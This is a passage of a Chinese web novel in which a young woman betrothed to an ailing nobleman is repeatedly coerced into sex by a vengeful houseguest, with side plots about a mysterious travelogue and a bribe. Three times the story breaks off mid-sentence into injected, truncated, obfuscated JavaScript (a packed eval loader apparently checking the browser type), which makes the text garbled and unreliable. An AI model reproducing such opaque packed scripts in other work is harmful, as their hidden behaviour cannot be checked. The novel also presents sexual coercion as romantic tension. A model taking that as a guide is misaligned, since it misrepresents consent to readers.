“听闻净空大师自西南宝地背回一座送子观音像,由上好白玉雕刻而成,供奉在庙后的堂子里,寻常人初次来,都不易找到。” “老太太方才还念着呢,说是城中口口相传,格外灵验。” 那位白袍僧人念了句阿弥陀佛,开口道: “施主若是诚心,自然会有福运。” 程菩看了一眼面前观音像,接过僧人手中的香,虔诚拜了又拜。 僧人手中的佛珠转动发出的声响,恰好掩住一墙之隔美人难以自抑的喘泣。 程菩耳力甚好,奈何声音细微,他心中虽有猜测,但料得寺庙清修之地,无人敢这般放肆,便只当是山野狸猫,并未在意。 敬完香,他又连着咳了好几下,身体发抖,听得人也跟着心堵得慌。 身后传来动静,程菩回过头,只见沈楹站在门外,笑着看他: “二弟这是做什么呢?” 他笑了笑,回答道: “老太太说,这儿的送子观音灵验,让我来替她敬柱香。” 沈楹提裙,轻迈过门槛,望着面前的玉观音,视线透过缝隙,似是隔空对望。 薛宓娴紧张地脸都白了,鼻尖的汗珠滴落,下意识地握住了江昀的手。 但如果她此时冷静下来,就会想到,只是一道指缝宽的间隙,如果不是贴得太近,根本看不见另一边的情状。 可江昀不会安慰她,所作所为,只会踩着她岌岌可危的感官极限,变本加厉。 沈楹笑着打趣: “亏得二弟平日里最是神机妙算,怎这会儿倒不知老太太的用意了?” “你应去把薛妹妹带来,一起给观音娘娘敬香,岂不是更为灵验?” 程菩脸上一红,轻咳了几声,不欲多言,岔开了话题: “嫂嫂可是有事?” “……” 他与沈楹并肩走了出去,渐渐屋内再度陷入沉寂。 薛宓娴后知后觉地意识到,眼下身处的这间屋子,竟是在一尊观音像的背后。 所以,江昀方才在这里所做的事,堪称是大不敬。 观音娘娘,您若是生气了,千万要引一道天雷劈死这疯子啊。 她在心里默默祈祷。 …… 江昀冷笑一声,低头去瞧着怀中人的神色。 方才她的模样,让他那恶劣而又疯狂的本性在叫嚣着作祟。 尽管这个想法无论如何都不可能……也不应该实现。 但仅是在心里想想,便已有淋漓的快意蔓上背脊,过电般酥麻之感自指尖传上心头。 他吻上薛宓娴的耳垂,轻轻吹了口气,哑声道: “姐姐。” “若是你日后怀上我的孩子,再冠其以程菩嫡子之名,如何?” 他紧握着她颤抖的手,一同搭上柔软小腹,暗哑的嗓音配上那见不得人的话语,似是蛊惑,在她耳边萦绕: “想必程二哥永远也不会知道,自己的孩子,其实并非程家血脉……” 薛宓娴听见了这话,身体轻轻颤抖着,回头望向他,漂亮的桃花水眸中满是不可置信: “你说什么?” 他当真是毫无道德下限之人。 一想到这样毫无廉耻之心的疯子,偏偏还在外人面前装出一副光风霁月的翩翩君子样…… 她恨恨地咬了咬牙。 若是说出去,怕是没几个人会相信,江昀竟是如此道德良心败坏之人。 然而不等她发作,江昀再次捏着她的脸,低头衔住那柔软的唇,沉声道: “怎么,我连说都说不得?” 他的眸色冷下来,手指仔细描摹着那柔软红润的唇,分明是爱抚的动作,却隐隐让人不寒而栗: “姐姐就如此想为他生儿育女?” 薛宓娴看着他,脸上闪过一瞬的异样。 她其实很想回一句“我与他将来是夫妻,无论如何都不关你的事”。 但她也知道,这话若是说出来,只怕又得惹恼了这位祖宗,实在不必逞一时口舌之快,便又咽了回去。 偏偏江昀还要刨根究底,用尽卑鄙手段,只为问出一个答案。 薛宓娴在他的唇上咬了一下,本想以此作为反抗,却不料竟是引得他进一步攻池掠地。 掌心微麻,她使不上几分力气,双手紧紧攥着,努力挣扎的动作在江昀的绝对压制面前,效果更是微乎其微。 终于,薛宓娴被他折腾到完全崩溃,神魂飘游天外,只剩下身体本能地给出反应。 似乎是觉着她的模样实在可怜,江昀贴上那烧红的耳朵,好心教她: “你应说,程菩不过是个废物病鬼。” “往后你也不会和他有夫妻之实,何来子女?” 他手上又加了力道,见着怀中美人连连摇头,软语哭求: “我会说的……你能不能先别……” 江昀嗤笑一声,抬手扳起她的脸: “我竟不知,你何时有与人谈条件的本事了?” 他的动作越发不留余地,薛宓娴摇着头,无奈应了他,只是声如蚊呐,夹杂着哭泣低喘,听不真切。 她实在受不住,连站都站不稳,身体似是失去了支撑一般,脱力地往下滑,又被捞起来。 泪眼朦胧间,她哭道: “疯子!” “这样你就满意了么?” 江昀稍稍退开些,指腹蹭过湿漉漉的睫羽,似笑非笑: “好姐姐,早如此说,便不会有这些麻烦了。” “为何,你每次都不肯听我的话呢?” …… 回到前院,蕴娘立刻迎了上来,拉着她的手仔细打量了一番,颇为担心地看着她: “姑娘这是去了何处?” 薛宓娴按照江昀提前安排好的说辞,编了个借口,再加之有程菩替她周旋开脱,也无人追问她究竟去做了什么。 同时有小厮前来告诉,说江昀因伤口疼痛,已孤身先行下山,前往医馆。 程老夫人听闻此事,立刻叫来程菩: “怎会有这样的事?” “江小公子于你有恩,如今谁不知晓。” “眼下他独去医馆,让人瞧见了,该怎么说咱们程家的为人,倒越发叫人看不起去。亏你素日里大事上想的周到,这会儿遇上人情世故,竟糊涂了?” 程菩确实冤枉,但程老夫人面前,他也不回嘴,只是低头认错。 薛宓娴打量着程老夫人的脸色,边和沈楹一同劝着,边心里暗自琢磨此事。 以江昀的心思,肯定能想到,他这么做会让程菩担上礼数不周之责。不过是脏了他一件外袍而已,想要蒙混过去,有千万种说辞。 虽然按照程菩的性子,事后不会对他说什么,但这又是何必呢? 他到底想要从程菩这里得到什么? …… 回程途中,薛宓娴担心程菩因此事不快,特意与他同乘。 二人在车内并肩而坐,一时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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略显苍白的唇翕动了一下,他肚子里憋了许多要对她说的话,挑挑拣拣,一时不知从何处入手。 马车停了,晚风卷起车帘一角。 薛宓娴恰在此时倾身靠近,轻轻扶着他的手,在他的颊侧落下一吻。 程菩不敢闭眼,生怕这是大梦一场,醒来她就不见了。 他抬手拉住她的衣袖,在美人那双桃花眸眸含情似水地望来之时,立刻将要说的话全忘了个干净。 “今日……” 他顿了一下,接着说道: “今日定是累着了,回去好生休息。” 薛宓娴点了点头,温柔一笑: “二哥哥也要多爱惜身子才是。” 执手相望许久,终是依依不舍地转身分开。 …… 朱门缓缓合上,周围不知不觉地沉寂下来,隐约有人来往,踩着砖石发出细微的声响。 荫下深处,江昀双手交叠于身前,无声冷笑,浓重的情绪在暗沉的眸色中翻滚,冰冷而又危险的气息由内而生。 风升手持长剑,走近几步,皱着眉劝道: “殿下已在此处站了许久,切莫为她误了事,因小失大。” 他对此置若罔闻,一言不发。 笑话。 他根本没有心绪不宁,也没有心生嫉恨。 如何对待仇人之妻,他自有分寸。 11. 得罪 程老夫人寿辰渐近,故而沈楹自踏青归来后,便陷入了一阵忙碌中。 因着程家老爷昨日来信,说是这回来贺寿的宾客比预想的要多,恐怕设宴排不开,便让沈楹合计着分办两日。 头一日单请官家外客,不入内院。除了老夫人、老爷和程菩,旁人都不必见客。至于寿辰当日,则再设一家宴,可比前一日办得简些,只要热闹尽兴就好。 还有十余天,一纸书信,便是忽然给沈楹本就忙得看不到头的日子徒增负担。 薛宓娴自然是要帮忙,跟着不得空闲。 但她没有任何怨言,哪怕是一直忙到夜半直不起腰,也心甘情愿。 毕竟,两弊相权取其轻,哪怕是为程府的事情忙活,也比闲下来的时候,被江昀那个疯子缠上要好。 这日午后,又有一批贺礼等着收入库房。 原本是要送去给程老夫人过目的,只是老夫人近些天极易困乏,故而也懒得一样样看,只是让沈楹先记着,日后方便酌情回礼。 此事按理应是由沈楹负责清点,但正逢大公子程荇自西南而归,她不得不前去迎接打点。 薛宓娴原本想着,趁着程菩施针的功夫,寻个借口去见见张珏,刚踏出自己的院子,便遇上了沈楹的贴身侍女霜娘。 只见霜娘笑着说道: “夫人正与大公子谈事呢,一时半会儿恐怕不得空,让我来请姑娘帮个忙,只需将贺礼清点入册就好。” 薛宓娴犹豫了一下: “可我先前并不曾经手此事……” 霜娘对此早有准备: “正是夫人已经想着了,她说姑娘头一回接触库房的活儿,怕是手生,难免会有拿不准的地方,特意打发我来帮衬着。 话已经说到了这个份上,薛宓娴便不好再拒绝了,只能让蕴娘代自己去程菩那儿瞧瞧,便跟着去了库房。 许是因为程家往日里的风光,即便是如今已无人在朝,势力也不见衰减。 只是送来的贺礼除了向程老夫人祝寿,竟无不附上一句对程菩的问安,言语间多有奉承讨好之意,更有甚者,阿谀谄媚的嘴脸跃然纸上,让人不忍再看。 这批贺礼投人所好,多是名贵瓷器,需得小心再小心。 薛宓娴虽不用自己出力,但也得费心盯着,提醒婆子注意脚下,必要时上去搭把手。 忽而,置放书册的木架后传来一声动静,她离得最近,顿觉有异,起身过去查看。 转身之后,她与张珏撞了个正着。 四目相对,彼此都愣了一下,张珏率先回过神来,对着她打了个手势,示意不要声张。 “姑娘,怎么了?” 婆子们高声问道: “可是有什么事?” 薛宓娴定了定神,寻了个理由,转而又借机掩护张珏,让他得以从库房里出去。 她拾起张珏方才未拿走的书册,拂去上面的积灰,辨认出是一本游记。 处理完贺礼的事,薛宓娴将那本书记在了自己的名下,借了过来。 …… 月色朦胧,银纱般浅淡的辉光透过半开的轩窗,落在桌案上。 摇曳晃动的烛光下,美人的眸中闪着隐约的光亮,纤长的玉指停留在书页上,久久不曾挪动。 轻风穿堂而过,带起枝叶簌簌之声。 薛宓娴回过神来,长舒一口气,拢着身上的外袍,轻手轻脚地灭了烛火,挨着榻边坐下。 这本游记原本不是程家的东西,婆子说,是多年以前宫里娘娘赏的,因是难得一见的孤本,便一直收在库房里,连二公子都快把此事忘了。 虽然内容佶屈聱牙,略有些晦涩,但薛宓娴文化功底还是在的,能分析出这是某位文人途游永安郡,随笔而记。 据其所述,他在登高之时,遇见一位奇装异服的仙人。同行半日后,仙人消失了,留下一样奇怪的宝物,能复述人言,只是不过两三日,便再不能用,当真怪哉。 若游记的内容没有夸大其词,这件宝物,或许应是类似录音笔之类的东西。 所以,“仙人”也是一位穿越者,他在途中忽然消失,难不成是找到了回去的办法? 这便是张珏冒险闯入库房的用意? 另有书中反复提及的“南都十二仙”,究竟是指什么? …… 门被人推开了,薛宓娴以为是蕴娘发现了她挑灯夜读的事情,便连忙放下床帐,应声道: “我这就睡了,你也快去歇着吧。” 并未得到回应,薛宓娴有些疑惑,抬手揭开纱幔一角,生出几分警惕,轻声唤道: “蕴娘?” 下一刻,皓腕被人紧紧握住,未等她反应过来,只听一声闷响,薛宓娴甚至来不及惊呼,便被人捂住了嘴。 身体陷入被褥中,双手被牢牢控制于头顶上方,熟悉的沉木香让她不自觉地发颤。 江昀看了她一会儿,单手捏着她的脸,冷笑道: “这些时日,你是在故意躲我?” 薛宓娴挣扎无果,只能偏头避开视线: “没有。” 江昀看着她,一言不发,手指似是暗示地抚上她的唇。 薛宓娴咽了咽口水,不知他究竟是什么心思,强迫自己冷静下来,补充道: “老夫人寿宴在即,我自是要去帮衬的。再者,你这些日子在别院养伤,我若是贸然前去,也是打扰,所以……” 江昀打断了她的话: “所以,你便有空在库房里与旁些个男人眉来眼去了?” 薛宓娴怔了一下,才反应过来他说的是什么意思,恼怒之余,心中又有些恐慌。 他为何对自己的一举一动都知道的这么清楚? 难不成自己身边有他的眼线? 但是,也说不通。他初来乍到,借宿府上,时间满打满算也不过一月,哪里有这般手眼通天的能耐? 她反驳道: “我何曾有过如此举动?你这般下作,颠倒黑白,可有证据?” 无视她的抗拒,江昀将手中的衣衫随意一丢,轻而易举地将人翻了个面,压制在方寸之间。 昏暗的光线下,他眸光冰冷,说不清的情绪在其中翻涌,哑声道: “我若所言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他箍着她的腰,轻松地换了个姿势,让她坐起来,紧紧贴上自己。 感受到她现在已经不再有多余的力气反抗,他便随意取了条绦带过来,蒙在她的眼上。 世界彻底陷入黑暗,转而,那微凉的手还贴上她烧红的脸侧,将她的听觉一并剥夺。 所有的一切都集中在了触感上,偏他还不知轻重,连番施力,故意要逼她出声。 薛宓娴知道,在听不见也看不清的情况下,自己的音量是不可控的。 可她又实在受不住,往往是已经开了口,才细微呜咽一声,咬着唇,又艰难忍回去。 “嘘。” “姐姐,小点声。” “不然,程二哥隔着院子,也能将这声音听真切了。” 淅沥小雨,在锦缎上晕开一片,不知过了多久,才终于见了停势。 薛宓娴连说话的力气都没有,缓缓阖上眼眸,在一片狼藉中沉沉睡去。 12. 念想 “姑娘,昨晚可是魇着了?” 蕴娘放下梳子,自铜盆中拧出湿帕递过去,脸上满是担心。 镜中美人脸色略有些苍白,眸光黯淡,瞧着没什么精神,甚至隐约有几分病色。 薛宓娴揉了揉隐隐作痛的脑袋,微不可察地叹了口气,拿起一旁的香粉,手却不自觉地微微发抖。 被江昀翻来覆去地折腾了一宿,她都不记得自己是何时睡过去的了,或许,应该说是昏过去更恰当些。 她想不通究竟是什么人能有这般旺盛的精力,浑身力气仿佛用不完似的。 有时,她以为就要到此为止了,可刚刚平息不久,灼热而又缠绵的吻再次压下来,一切又周而复始。 待她醒来之时,床榻上的狼藉已经收拾干净了。贴身衣裳都穿得齐整,连春风一度后留在肤上的痕迹也都被清理了个干净。 除去枕下的平安玉被他拿走了,其余陈设都并未有任何异样。 若非腰腹和小腿处的肌肉持续乏力酸胀,她几乎又要以为昨夜情事只是一场荒唐噩梦了。 早饭并无胃口,不知是否江昀做得太狠,薛宓娴只感觉四肢如同灌了铅一般发沉,做什么都提不起力气。 她勉强撑着去程老夫人那儿问了安,回来后不过靠坐了半个时辰,便头晕目眩起来,浑身发冷,连坐都坐不住,只能和衣靠在软枕上。 蕴娘端了茶点来,吓了一跳,连忙就要去回了程老夫人,却被拦下了: “别去……” 薛宓娴抿了抿唇,身体打了个寒颤,抬手拉住蕴娘的袖子,有气无力地说道: “我略靠一会儿就好。” 蕴娘握上她的手,用帕子反复地擦着掌心降温,着急道: “这要如何说得呢?姑娘生病了,自然得回了老太太,请个大夫来瞧瞧是正经。” 薛宓娴摇了摇头,实在支撑不住,阖眸轻叹了口气,柔声道: “蕴娘,你关心我,我自然感激得很。可老太太若是知晓了,定然是会先罚了你。再者,昨日我替沈姐姐干了活儿,老太太还会怨她的不是,这院子里从上到下,少不得要轮番讨伐一番。” “沈姐姐她们也许不会多想,但底下那些婆子们可就两说了。她们本就当我是外来的姑娘,赶着运道才能攀上程家的高枝。前些天我不过是多问了两句采买的事,便说些什么还没进门当上二夫人,就在这里摆谱的话。” “这会儿不过是一点小病,若是连累她们被罚了月钱,接下来又不知要在何处抱怨。这些天沈姐姐忙着寿宴的事,已然是不可开交,老太太也困乏得很,接连宴席也是劳神的。我们便不要声张了,好不好?” 蕴娘咬了咬唇,皱眉道: “姑娘怎这般想?那些人多嘴多舌,该她们的不是。婚事已经定下了,她们就是瞧您家里没个依靠,才这般人前人后两副面孔。下回再有这样的事,可不能再轻饶了她们。” “对了,听说今儿大夫又来给二公子施针,我去瞧瞧,请他来一趟。” 说完,她扶着薛宓娴躺下,掖好被子,转身急匆匆出去了。 薛宓娴感觉自己的神魂逐渐脱离身体,似乎躺在了云端,身体软绵绵的,思绪也模模糊糊地来回打转。 半睡半醒间,她感觉有人在碰自己的手,而后那不速之客又贴上自己的脸,再轻抚上那柔软温热的唇,手指轻轻探入她的口中,紧接着塞了什么东西进来。 轻轻一抿,浓重的苦涩药味便瞬间弥漫在舌尖,她呜咽了一声,抓住那人的袖子,隐隐的泣音听着便惹人心疼: “我想回家……” 那张如花似玉的美人面上染着病色,在原本那明艳动人的姿容之上,添了一笔恰到好处的娇柔。眸中蕴着朦胧的湿潮,招人怜爱之余,又不失多情媚意。 江昀垂眸看着她,手紧紧攥成了拳,指甲没入掌心,传来刺痛。 片刻后,他回过神来,状若冷静地抽出自己的袖子,摇了摇头,嗤笑一声。 他伸出手摸上她的眉骨,覆上那双总是能让人心颤桃花眸,似乎这样便能隔绝那些阴暗低劣的念想。 或许是因为发着烧,榻上的美人忍不住轻声闷哼,带着细微的喘息,如同细密的钩子,刺激着他不断动摇的底线。 良久,他呼出一口气,眸色暗了下来,冷着脸,转身离去。 …… 薛宓娴再次醒来的时候,已是天昏日暮。 蕴娘见她醒了,连忙斟了一盏温茶端过来,扶着她缓缓喝下。 身上盈着暖意,薛宓娴下意识地裹了裹被子,开口道: “我睡了多久?” 蕴娘回答: “有几个时辰呢。” “好在大夫说只是偶感风寒,那药方子只开了一服,再发起热症便去煎来喝下,若就此退了,倒不用吃了。” 薛宓娴问道: “大夫走了?” “还在候着呢,他说等姑娘醒了,再来把个脉才放心。” 见薛宓娴精神好了不少,蕴娘悬着的心也稍稍放松了些,又端来一个小瓷碗,里头盛着热乎乎的神仙粥: “这是二公子吩咐备下的。” 薛宓娴蹙起眉头: “你怎么还去打扰了他?” 蕴娘眨了眨眼睛,“诶呀”了一声,凑近了些,压低声音道: “我本来不想的,谁知道大夫已经走出了院子,二公子还有话要同他说,一来二去,这才遇上的。” “不过,姑娘可不知晓,二公子听说姑娘病了,脸色苍白,急匆匆就往这儿赶,我们都险些跟不上他。” “但姑娘放心就是了,二公子知晓那些顾虑,并未声张,老太太那便还瞒着呢。银子都挂在了他的账上,还另外多留了一些,让小厨房的婆子们好生照顾姑娘。” 薛宓娴又开口道: “二哥哥身子不好,你还让他费心。” 蕴娘笑着说道: “二公子这会儿见客去了。他让我告诉姑娘,您往后就当自己是府里的二夫人,凡事不必多心。再有人叫您受了委屈,直把名姓报过去,无论有谁罩着都不管用,他自会处置。” “要我说,二公子当真是欢喜姑娘,我呀,就盼着早日改口叫夫人了。” 薛宓娴偏过头,脸上瞬间泛起微红,轻轻哼了一声。 …… 喝完粥,蕴娘去请张珏进来。 隔着一道纱帘,他放下医箱,朝薛宓娴行了个礼: “姑娘将手递与我吧。” 他声音清冷而又不失礼数,神色淡然,略微有些单薄的素衣勾勒出优越的身材轮廓,不免让人生出几分飘渺近仙的错觉。 诊脉后,张珏也不用再调整方子,只说让她小心不要受凉,多休息几日便能见好。 薛宓娴寻了个由头支开蕴娘,同时叫住了张珏,抬手拨开纱帘,柔声道: “今日,有劳你了。” 张珏低下头,避开视线,晦暗的光线中,他耳朵红得厉害,只是声音依旧不见波澜: “医者份内之事,姑娘客气。” 薛宓娴笑了笑,披上外袍,翻出那本游记,递了过去: “你瞧瞧,昨日在库房找的,可是这个?” 张珏怔了一下,结果翻了翻,眸中闪过一瞬的欣喜,转而又压了下去: “姑娘,我……” 薛宓娴垂眸轻笑,打断了他的话: “记得月末之前还我就好。你不愿意让二哥哥知晓,想来定然有你的理由。” “此事他不知情,是借在我名下的。” 手指在书页边缘摩挲着,张珏抿了抿唇,说道: “我欠姑娘的人情,来日定会补上。” 薛宓娴话音一转: “既然如此,倒真有件事。” 张珏静静地等着,没有说话。 她接着说道: “你若是有心,能替我解了书中的困惑,自然也就还了这个情。” “我知道你的秘密。” “我们是同病相怜之人,更要相互扶持,是不是?” 她的声音温柔轻润,不管是在说什么话,都有一种娓娓道来之感。 张珏不自觉地看过去,已是无意中沉醉于那双漂亮的美人眸中。 喉结滚了滚,他低声应下,将游记收好,行礼告辞。 …… 果真如他所言,薛宓娴不过是睡了几日,再起身已经大好了。 病来如山倒,病去如抽丝,身上松快不少,她的心情也跟着好了许多。 时至小满,正是程老夫人寿辰。 原本家宴只说要府里的人来,但前一日的宴请的官家女眷,有不少留了下来,想着陪着老夫人再热闹一回,旁人自然也没有阻拦的道理。 只是这样一来,又辛苦了沈楹。 沈楹是后来才知晓薛宓娴生病一事,也明白她没有声张,是为了周全自己,所以操持这些家事根本不让薛宓娴再费心。 更何况,她早就做了两手准备,即便赴宴的人略多,安设坐席也不见忙乱,添酒布菜的婢女婆子们虽多,却井然有序,让人挑不出半点错处。 撤了一轮的菜,程老夫人环顾四周,对身旁的莳莺随口说道: “程荇怎么不见?” 莳莺以为有什么急事,连忙又去问沈楹。 沈楹怔了一下,身旁的婆子们还排着队等她说话,只得搪塞道: “许是回屋里换衣裳了,让老太太莫担心,我一会儿去唤他来。” 待人都散了,她才招来霜娘,问是怎么回事。 霜娘看着沈楹,低声道: “夫人是知晓大公子性子的,方才他说了要回屋,这会儿想来又不知到何处醉去了。” 沈楹蹙起眉头: “今日是老太太寿宴,他还有那闲心去外面寻快活?” 霜娘低头不答。 …… 江昀不过在开宴时露了个面,随后便推说身上不快,回了别院。 他既然不在,薛宓娴也不必时刻紧张。 她坐在程菩身侧,虽说是家宴,可那些女眷都是知晓这门亲事的,故而来给程菩敬酒的时候,也不忘捎了她的份儿。 只可惜,薛宓娴不怎么喝酒,只不过一小盅,便已红了脸。 程菩从人群中脱了身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一时散了宴,薛宓娴让蕴娘先回,本想去找程菩说几句话,却不料低头想心事的功夫,走岔了路。 江昀久候多时,直接拉住了她,将人带到了廊下阴影里,紧挨着花圃。 薛宓娴看了他一眼,即便再如何不想见,也得装出样子来,笑了笑: “可有何事?” 笑意不达眼底,有些勉强。 江昀看着她,缓缓俯身凑近了些,低声道: “对程二哥那般柔情似水,只怕是把我忘干净了。” 薛宓娴偏头想躲开,却被他捏住了下巴,无处可逃,被迫直视着那双眸中蔓上的欲/火。 她没有别的选择,只能顺从着江昀的心意,说些他喜欢听的话: “我想着你的。” 江昀嗤笑一声,松了手,只是用身体将她压在角落,哑声道: “空口无凭。” 四目相对,他的视线沿着桃花眸缓缓向下,落在那泛着柔泽的唇上,停留了片刻,转而又收了回去,等着她上钩。 薛宓娴咬了咬牙,自然知道他要做什么。 他向来不喜欢直接挑明,往往是暗示过后,便等着她主动。若是猜错了心意,惩罚也是少不了的,轻重与否,全看他的意思。 他不肯低头,她便只能勾着颈,微微踮起脚,仰起头去碰他的唇,浅浅啄了几下。 即将撤开的瞬间,江昀的手扣住那纤细柔软的腰,将人按向自己。 浅浅的酒意混着他身上的沉木香,在薛宓娴的唇上舌尖晕染开来,呼吸乱了节奏,赖以生存的气息被毫不留情地掠夺,让她恍然间有种快要窒息的错觉。 可隐隐的,身体深处又涌动着另一种奇异的渴求。 她从前不是这样的,可经历几次肌肤之亲后,江昀便在她身上留下了这样的烙印。 只要有类似的感觉,就会不由自主地给出反应,渐渐形成了一种暧昧的本能,让她下意识地去容纳与逢迎。 唇上胭脂已经化了不少,层叠的痕迹在清浅的月色下泛着细碎的光。 江昀看着那双桃花眸中情动的潮泽,心底忽然生出了一种别样的感触。 方才往来宾客众多,她在宴上却落落大方,游刃有余,不露怯意。如同枝头盛绽的花,美则美矣,却总是少了几分味道。 唯独要把那花枝折下来,养在他的手中,看着那花瓣上沁染晨露与暮霜,沾透独属于他的气味,才是恰到好处的动人姿态。 手指轻轻揉捏着她的耳垂,湿热的吐息洒落在耳畔,他的手按在她的头后,珠玉钗饰晃荡轻响,吻再次压抑着落了下来。 薛宓娴在他的唇上咬下去,想要推开: “你这个疯子!” 江昀闷哼一声,却没有松懈半分力气,只是紧紧攥着那皓腕,压制她的反抗,而后继续做自己的事。 薛宓娴靠在墙上,丝丝缕缕的凉意透过衣裙,蔓延至四肢。 她经承不住这般,已然无力挣扎,微微仰起头,迷离的眸中失去了方向。 江昀微微退开些,捏着她的脸,欣赏了一番此刻的模样,手指抚过那柔软的唇,在她的颊侧匀开一片水痕。 他已经被仇恨塑成了不人不鬼的模样,寡廉鲜耻,不顾礼常。 她凭什么能同明月一般悬于高台之上? 她又凭什么能与那等佛面蛇心之人,有人人称羡的美满? 他要拉她染尘埃,拉她入泥潭,要让她成为和自己一样的人。 这也是程菩应得的报复。 他心想。 13. 迷乱 不知过了多久,江昀终于松开了她。 薛宓娴抬眸,楚楚可怜地望过去,虽心知徒劳,依旧祈求能够就此放过。 他眸光沉沉地看着她,有那么一瞬间,几乎被其它情绪淹没的情意,出现了连他自己都未曾发觉的挣扎。 有那么一瞬间,他也会想,如果她不是程菩的未婚妻就好了。 但这个世上没有如果。 他偏开头,重重地吐出一口气,压抑住心中难以掩盖的躁动,沉声道: “我还有事,先走了。” 几乎是落荒而逃。 薛宓娴靠着墙缓了缓,抬手贴上自己烧红的脸,抹去脸上的泪痕和唇边的水渍,恍恍惚惚地往前走。 不知不觉,她又走回了程菩的院子。 时候已经不早了,程菩今日喝了好些酒,除去应酬,还有替她挡下的,应该早些歇息才是。 这么想着,薛宓娴转过身,打算明日再来。 可是,她却看见了一个人影。 她对这个人有印象,方才在席间见过的,好像是一位王姓老爷家的夫人。 王夫人捧着一个盒子,理了理衣裙和钗饰,面色凝重,独自走了进去。 薛宓娴蹙起眉,隐约感觉有些不对,踟蹰片刻,究竟是好奇心占了上风。 门外的婢女瞧见她来了,并未阻拦: “二公子想着姑娘呢,方才还说一会儿要去看您。” 薛宓娴笑了笑,继续往里走。 她悄悄停在书房外,刚要抬手推门,便听见了里面说话的声音。 “这是做什么?” 程菩似乎有些不耐烦: “看来王老爷并非诚心。” 王夫人有些尴尬地笑了笑,又把盒子朝着他的方向推了推: “二公子,我知晓您才高又能干,程家是什么地位?自然看不上这点子薄利的孝敬。只是我那相公一心要做一番大事业,可怜不得机会。” “这会儿好不容易得了您的赏识,高兴都来不及。只是一点见面礼,根本不足以托出对您的感激。” 程菩冷冷地笑了一下: “是吗?” “夫人且先回去,此事我自有决断。” 薛宓娴侧身躲入转角处,看着王夫人推开门,重重地叹了口气,似乎是低声喃喃了一句什么,才摇着头缓步离开。 她站在原地思忖片刻,本想进去瞧瞧程菩,却又听见了莳莺的声音: “你这会儿拒绝了,往后该怎么办呢?” 莳莺是程老夫人身边最亲近的家生子。她聪明又机灵,小事上尚且能耍耍自己的小心思,可一遇上了大事,说什么、做什么,基本都等同于程老夫人的意思。 程菩叹了口气: “你去回了老太太,让她莫要多心,只管养好自己的身子便是。我自己的事,定不会牵扯进旁人。” “此事万不可声张,只有徐徐图之,才最为稳妥。” “这等追名逐利,乃至试图卖官鬻爵走捷径的小人,今儿不过是借娴娘的名头试探了一番,便已如此,足以见得那些个人也尽是表里不一之辈,如何信得过?” 薛宓娴屏住呼吸,虽不是十分明白,但几个关键的词语,让她总有一种惴惴不安的感觉。 似乎程菩并非甘心偏居一隅,依旧要将手伸到那看不见的权力漩涡里去。 那可是你死我活之地,程菩若深陷其中,她如何能独善其身? 没等她胡思乱想更多,只听程菩又说道: “你明日只管按我说的去回话,老太太心里有数,便不会再问了。” “另外,今日娴娘喝了酒,我瞧她有些受不住酒力,多有些上脸。还请姐姐走一趟小厨房,吩咐为她煮些温汤送去,记得要按张公子说的,多加一勺红糖,补补气血。” 莳莺笑着说道: “如此细枝末节,难为你这般上心。你莫非以为我不知晓?前些天小厨房待薛姑娘那般好,多是你这体贴的未来夫君做的好事。” “那会儿留下的银子,怕是早用完了,你还不快拿了自己的体己钱出来补贴?” 程菩回答: “这是十两银子,有劳莳莺姐姐送去。醒酒汤除了娴娘,给老太太和大嫂子也送一份。另有些剩余的,不必送回来了。” 莳莺接了银子,嘴上却依旧没有放过他: “行了,你少在这儿做这样的歪心思。我一会儿先替你去瞧瞧姑娘,今儿她在宴上得了诸多夸赞,风头快要盖过你去了。” 程菩立刻接道: “她本就是很好的人,即便是没有我,依旧如此。” “想来,我说不准还是她的拖累呢。” 莳莺啧啧两声,打趣道: “瞧瞧,还没当上夫君,对娘子的偏心,已经不知到何处去了。往日里都是孝敬老太太在先,这会儿竟都变成是沾薛姑娘的光了,当真是新奇。” “日后,莫不是你也要改了薛姓,去做了她家的上门女婿?” 程菩笑而不答。 薛宓娴没有再听下去,匆匆离开。待回到自己院中时,才松了口气。 脸上一片烧热,心跳声震如擂鼓,久久不息。 …… 待寿宴的余事皆交代妥当,便已是彻底入了夏。 近些天,薛宓娴也总算得了清闲。 张珏言而有信,按时将书还了回来。 只是郊外忽然起了不知名的热症,他忙着行医救人,一时间难能抽出功夫详说其中因由,只是简短提了句“还需再查”。 另有“南都十二仙”,他亦语焉不详,弄得薛宓娴很是好奇,辗转难眠。 此后,她也常往库房去,翻阅家藏的古籍,盼还能从中寻出些许蛛丝马迹。 又是一日午后,她正把前些天看过的本子还回去,只见库房的的婆子又拿出一摞账,是要给沈楹过目的。 薛宓娴本就打算去瞧瞧沈楹,便从婆子手中接过了账本,说自己会顺路带给大夫人,省得她们再跑一趟。 沈楹正在批改程茹的功课,听说程菩这几日忙,便让她代为把关。 程茹最喜欢大嫂来检查作业了。 沈楹比二哥温柔不说,即便有什么错处,也不会严词厉色,只是让她下去改了,另还有点心零嘴,可以随意拿着吃。 程茹见着薛宓娴,更是越发欢喜。 左右今日事情不多,沈楹便拉着薛宓娴,一起玩棋。 才不过了几时,便见外头又闹了起来。 霜娘的声音由远及近,似是有几分着急: “大公子!” “这会儿三姑娘和薛姑娘都在呢,便是有什么事,晚些再来说也使得。” 程荇回过头,怒瞪了她一眼,斥道: “这里哪有你多嘴的份?我找夫人说话,难道还要得你允准不成?” 他随即一甩手,抬脚便把门踹开。 霜娘急匆匆跟着进来,跟沈楹交换了下眼色,随即会意,没来得及缓口气,便上前先把程茹带走。 薛宓娴来不及避开,只能低下头,行礼道: “见过大哥哥。” 